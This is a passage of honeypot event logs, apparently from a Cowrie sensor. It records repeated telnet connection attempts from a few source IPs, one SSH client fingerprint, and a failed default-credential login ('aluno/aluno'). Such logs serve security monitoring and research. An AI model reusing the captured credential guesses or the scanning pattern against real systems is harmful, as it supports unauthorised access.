{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":53088,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c26e17ad894","protocol":"telnet","message":"New connection: 169.38.112.222:53088 (10.17.0.5:23) [session: 2c26e17ad894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:53.571421Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":53100,"dst_ip":"10.17.0.5","dst_port":23,"session":"726c9d8d31ec","protocol":"telnet","message":"New connection: 169.38.112.222:53100 (10.17.0.5:23) [session: 726c9d8d31ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:53.770872Z"}
{"eventid":"cowrie.session.closed","duration":30.63572669029236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:54.153864Z","src_ip":"103.137.231.186","session":"9a6ec2ceede9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62500810623169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:55.438181Z","src_ip":"103.137.231.186","session":"c281a8d43724","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":53104,"dst_ip":"10.17.0.5","dst_port":23,"session":"02a87dcd4fa9","protocol":"telnet","message":"New connection: 169.38.112.222:53104 (10.17.0.5:23) [session: 02a87dcd4fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:55.551477Z"}
{"eventid":"cowrie.session.closed","duration":30.995689868927002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:55.655116Z","src_ip":"103.137.231.186","session":"6509b64fcbc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954657554626465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:56.197303Z","src_ip":"103.137.231.186","session":"4d83f9448f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65716791152954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:56.249604Z","src_ip":"169.38.112.222","session":"9d3371925f2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72899889945984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:56.285235Z","src_ip":"152.53.125.71","session":"d5a5b985581c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59386,"dst_ip":"10.17.0.5","dst_port":23,"session":"be044032e5d7","protocol":"telnet","message":"New connection: 159.203.13.64:59386 (10.17.0.5:23) [session: be044032e5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:56.289839Z"}
{"eventid":"cowrie.session.closed","duration":31.419597387313843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:56.474199Z","src_ip":"103.137.231.186","session":"afab64e9ea12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":36352,"dst_ip":"10.17.0.5","dst_port":23,"session":"7603a5e4f926","protocol":"telnet","message":"New connection: 169.38.112.222:36352 (10.17.0.5:23) [session: 7603a5e4f926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:56.819487Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":36366,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ca9a50749dd","protocol":"telnet","message":"New connection: 169.38.112.222:36366 (10.17.0.5:23) [session: 4ca9a50749dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:56.845996Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49272,"dst_ip":"159.203.135.109","dst_port":23,"session":"036f851bbd5e","protocol":"telnet","message":"New connection: 103.137.231.186:49272 (159.203.135.109:23) [session: 036f851bbd5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:56.852303Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49294,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc9fb0c8a50c","protocol":"telnet","message":"New connection: 103.137.231.186:49294 (159.203.135.109:23) [session: fc9fb0c8a50c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:58.402006Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49298,"dst_ip":"159.203.135.109","dst_port":23,"session":"42a77afe9ef3","protocol":"telnet","message":"New connection: 103.137.231.186:49298 (159.203.135.109:23) [session: 42a77afe9ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:58.461031Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":36380,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8938cd90e5","protocol":"telnet","message":"New connection: 169.38.112.222:36380 (10.17.0.5:23) [session: 7e8938cd90e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:58.601897Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49282,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ca3de9ed315","protocol":"telnet","message":"New connection: 103.137.231.186:49282 (159.203.135.109:23) [session: 1ca3de9ed315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:58.845400Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":36396,"dst_ip":"10.17.0.5","dst_port":23,"session":"86f0e438a1a5","protocol":"telnet","message":"New connection: 169.38.112.222:36396 (10.17.0.5:23) [session: 86f0e438a1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:59.041457Z"}
{"eventid":"cowrie.session.closed","duration":30.769335985183716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:59.196035Z","src_ip":"152.53.125.71","session":"7f07cf40d3d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6924831867218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:59.244026Z","src_ip":"152.53.125.71","session":"913e7707defc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.712642908096313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:59.978583Z","src_ip":"152.53.125.71","session":"0658d515aa76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":36402,"dst_ip":"10.17.0.5","dst_port":23,"session":"f569c792c14a","protocol":"telnet","message":"New connection: 169.38.112.222:36402 (10.17.0.5:23) [session: f569c792c14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:00.154756Z"}
{"eventid":"cowrie.session.closed","duration":31.161030292510986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:01.125387Z","src_ip":"169.38.112.222","session":"c20acef076bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.81300354003906,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:01.156539Z","src_ip":"159.203.13.64","session":"b9e143244c3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":36412,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab23ee55dbc3","protocol":"telnet","message":"New connection: 169.38.112.222:36412 (10.17.0.5:23) [session: ab23ee55dbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:01.477066Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35920,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a0bc9981127","protocol":"telnet","message":"New connection: 103.137.231.186:35920 (159.203.135.109:23) [session: 8a0bc9981127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:01.912454Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":36416,"dst_ip":"10.17.0.5","dst_port":23,"session":"e51911304988","protocol":"telnet","message":"New connection: 169.38.112.222:36416 (10.17.0.5:23) [session: e51911304988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:01.921593Z"}
{"eventid":"cowrie.session.closed","duration":30.341745853424072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:02.109839Z","src_ip":"169.38.112.222","session":"2c4e610dfc1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99573040008545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:02.142622Z","src_ip":"169.38.112.222","session":"c79aba26833b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":36424,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dd8d5ecc835","protocol":"telnet","message":"New connection: 169.38.112.222:36424 (10.17.0.5:23) [session: 4dd8d5ecc835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:02.291327Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":36434,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e63104e477a","protocol":"telnet","message":"New connection: 169.38.112.222:36434 (10.17.0.5:23) [session: 8e63104e477a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:02.521164Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":36448,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdf97a48fcdb","protocol":"telnet","message":"New connection: 169.38.112.222:36448 (10.17.0.5:23) [session: cdf97a48fcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:02.548043Z"}
{"eventid":"cowrie.session.closed","duration":31.560495138168335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:02.732544Z","src_ip":"103.137.231.186","session":"92164612a12b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35946,"dst_ip":"159.203.135.109","dst_port":23,"session":"752ae1c31a79","protocol":"telnet","message":"New connection: 103.137.231.186:35946 (159.203.135.109:23) [session: 752ae1c31a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:02.944339Z"}
{"eventid":"cowrie.session.closed","duration":31.452281713485718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:03.025194Z","src_ip":"103.137.231.186","session":"3c3a1b8ed5b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":36456,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe95863cefef","protocol":"telnet","message":"New connection: 169.38.112.222:36456 (10.17.0.5:23) [session: fe95863cefef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:03.824439Z"}
{"eventid":"cowrie.session.closed","duration":30.44186568260193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:04.126108Z","src_ip":"103.137.231.186","session":"b4ad465507a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35956,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cf4ca74d504","protocol":"telnet","message":"New connection: 103.137.231.186:35956 (159.203.135.109:23) [session: 8cf4ca74d504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:04.276028Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":36464,"dst_ip":"10.17.0.5","dst_port":23,"session":"fca652fa0dcb","protocol":"telnet","message":"New connection: 169.38.112.222:36464 (10.17.0.5:23) [session: fca652fa0dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:04.599636Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35964,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc3c9af820b8","protocol":"telnet","message":"New connection: 103.137.231.186:35964 (159.203.135.109:23) [session: dc3c9af820b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:05.144862Z"}
{"eventid":"cowrie.session.closed","duration":30.340363264083862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:05.152905Z","src_ip":"169.38.112.222","session":"9e03f476357a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5091335773468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:05.159842Z","src_ip":"152.53.125.71","session":"98434590552c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42572021484375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:05.263276Z","src_ip":"103.137.231.186","session":"3b1a45942925","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.725085496902466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:05.285971Z","src_ip":"103.137.231.186","session":"6ae45e8e5987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35980,"dst_ip":"159.203.135.109","dst_port":23,"session":"f97785aa07fd","protocol":"telnet","message":"New connection: 103.137.231.186:35980 (159.203.135.109:23) [session: f97785aa07fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:05.914679Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35994,"dst_ip":"159.203.135.109","dst_port":23,"session":"79336e6f22df","protocol":"telnet","message":"New connection: 103.137.231.186:35994 (159.203.135.109:23) [session: 79336e6f22df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:05.988113Z"}
{"eventid":"cowrie.session.closed","duration":30.358697652816772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:06.207961Z","src_ip":"152.53.125.71","session":"c26a13d9a842","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40191960334778,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:06.396668Z","src_ip":"103.137.231.186","session":"9ecf8e5a1c0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36008,"dst_ip":"159.203.135.109","dst_port":23,"session":"685f6f17549e","protocol":"telnet","message":"New connection: 103.137.231.186:36008 (159.203.135.109:23) [session: 685f6f17549e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:06.458320Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41284,"dst_ip":"10.17.0.5","dst_port":23,"session":"e56fe223c882","protocol":"telnet","message":"New connection: 159.203.13.64:41284 (10.17.0.5:23) [session: e56fe223c882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:06.831699Z"}
{"eventid":"cowrie.session.closed","duration":30.67751955986023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:07.194703Z","src_ip":"169.38.112.222","session":"e9c59acf4029","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.859788417816162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:08.442813Z","src_ip":"103.137.231.186","session":"d66b03289a1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51532,"dst_ip":"159.203.135.109","dst_port":22,"session":"eec10f04950f","protocol":"ssh","message":"New connection: 159.203.92.129:51532 (159.203.135.109:22) [session: eec10f04950f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:08.885396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:08.894975Z","src_ip":"159.203.92.129","session":"eec10f04950f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:08.900766Z","src_ip":"159.203.92.129","session":"eec10f04950f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aluno","password":"aluno","message":"login attempt [aluno/aluno] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:08.965636Z","src_ip":"159.203.92.129","session":"eec10f04950f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.515365839004517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:09.135080Z","src_ip":"169.38.112.222","session":"96630d37251b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63631296157837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:09.312545Z","src_ip":"169.38.112.222","session":"2be16cc38e46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42230,"dst_ip":"159.203.135.109","dst_port":23,"session":"b16afa19023b","protocol":"telnet","message":"New connection: 103.137.231.186:42230 (159.203.135.109:23) [session: b16afa19023b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:09.685690Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36014,"dst_ip":"159.203.135.109","dst_port":23,"session":"c73ba4ce0033","protocol":"telnet","message":"New connection: 103.137.231.186:36014 (159.203.135.109:23) [session: c73ba4ce0033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:09.910057Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:09.985376Z","src_ip":"159.203.92.129","session":"eec10f04950f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.611785888671875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:10.122442Z","src_ip":"169.38.112.222","session":"3e3940e94bff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.602994680404663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:10.128182Z","src_ip":"169.38.112.222","session":"7e5f9aa92f82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42242,"dst_ip":"159.203.135.109","dst_port":23,"session":"358973cdb1dd","protocol":"telnet","message":"New connection: 103.137.231.186:42242 (159.203.135.109:23) [session: 358973cdb1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:10.997411Z"}
{"eventid":"cowrie.session.closed","duration":30.61828923225403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:11.119007Z","src_ip":"169.38.112.222","session":"c4696c3eb321","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42056,"dst_ip":"10.17.0.5","dst_port":23,"session":"71a87b293136","protocol":"telnet","message":"New connection: 152.53.125.71:42056 (10.17.0.5:23) [session: 71a87b293136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:11.231869Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42256,"dst_ip":"159.203.135.109","dst_port":23,"session":"51140a003bdf","protocol":"telnet","message":"New connection: 103.137.231.186:42256 (159.203.135.109:23) [session: 51140a003bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:12.032068Z"}
{"eventid":"cowrie.session.closed","duration":30.920751333236694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:12.121549Z","src_ip":"103.137.231.186","session":"4ae52cda0069","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":43734,"dst_ip":"10.17.0.5","dst_port":23,"session":"a006877a812f","protocol":"telnet","message":"New connection: 169.38.112.222:43734 (10.17.0.5:23) [session: a006877a812f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:12.157025Z"}
{"eventid":"cowrie.session.closed","duration":30.70482897758484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:12.271858Z","src_ip":"103.137.231.186","session":"f544ecb02112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46916389465332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:12.484344Z","src_ip":"103.137.231.186","session":"a8cb8c044114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837818384170532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:13.380921Z","src_ip":"152.53.125.71","session":"5e98e9978664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42300,"dst_ip":"159.203.135.109","dst_port":23,"session":"c377285fa2c9","protocol":"telnet","message":"New connection: 103.137.231.186:42300 (159.203.135.109:23) [session: c377285fa2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:13.858868Z"}
{"eventid":"cowrie.session.closed","duration":30.574556827545166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:14.155913Z","src_ip":"169.38.112.222","session":"f3855c6b6dff","protocol":"telnet"}
